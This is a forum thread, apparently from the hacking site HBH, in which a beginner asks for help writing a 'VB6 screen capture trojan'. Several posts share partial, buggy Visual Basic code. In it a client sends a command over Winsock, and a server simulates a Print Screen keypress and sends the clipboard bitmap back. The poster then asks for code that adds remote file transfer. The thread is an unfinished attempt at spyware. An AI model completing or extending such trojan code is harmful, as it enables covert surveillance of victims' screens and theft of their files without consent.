Welcome to HBH! If you have tried to register and didn't get a verification email, please using the following link to resend the verification email.

VB6 screen capture trojan


ghost's Avatar
0 0

Hello,

I am very new to VB6 and would appreciate some hints with this program so I can start researching further.

On the server I can get a picture of the screen and display it in a picture box.

The question is:

-How would I use Winsock1.SendData to get the picture to the client. -How would I get the client to trigger the server to take the screen shot.

Cheers anyone


ghost's Avatar
0 0

just make the client send a command so the server executes the screen capture code

and for the sending you can use binary transfer or something with winsock i can't recall :)


ghost's Avatar
0 0

Ok cheers for the answer.

"Just make the client send a command so the server executes the screen capture code"

Would that be somthing like: Client: Private Sub command5_click() Dim data As String data = "screen" Winsock1.SendData data End Sub

Server: Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) Winsock1.GetData Data, vbString, bytesTotal List1.AddItem (Data)

On Error Resume Next
Dim Data As String
Case "screen"
' SCREEN CAPTURE STUFF
Clipboard.Clear

' send a print screen button keypress event
' and DoEvents to allow windows time to process
' the event and capture the image to the clipboard
keybd_event vbKeySnapshot, 0, 0, 0
DoEvents

' send a print screen button up event
keybd_event vbKeySnapshot, 0, &H2, 0
DoEvents
DoEvents

' send clipboard contents to client
Winsock1.SendData Clipboard.GetData(vbCFBitmap)
DoEvents
DoEvents

End Select End Sub

Cheers


ghost's Avatar
0 0

Making progress - I have been able to issue remote commands.

Now I need to issue a command that triggers the sending of a file to the client.

Is this any where near: Client: Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) Winsock1.GetData Clipboard screenCapture.Picture = Clipboard End Sub

Do I need to specify the data type or anything else.

Server ' paste the clipboard contents into the picture box screenCapture.Picture = Clipboard.GetData(vbCFBitmap) ' send clipboard contents Winsock1.SendData Clipboard DoEvents DoEvents DoEvents Thank you


ghost's Avatar
0 0

Cheers for the help, that link does not work by the way.

Please could you post the info in that link on the forum.

Cheers


ghost's Avatar
0 0

Yeah I found that article, bit complex for me.

Please could you post some of your code on the forum for sending files.

Cheers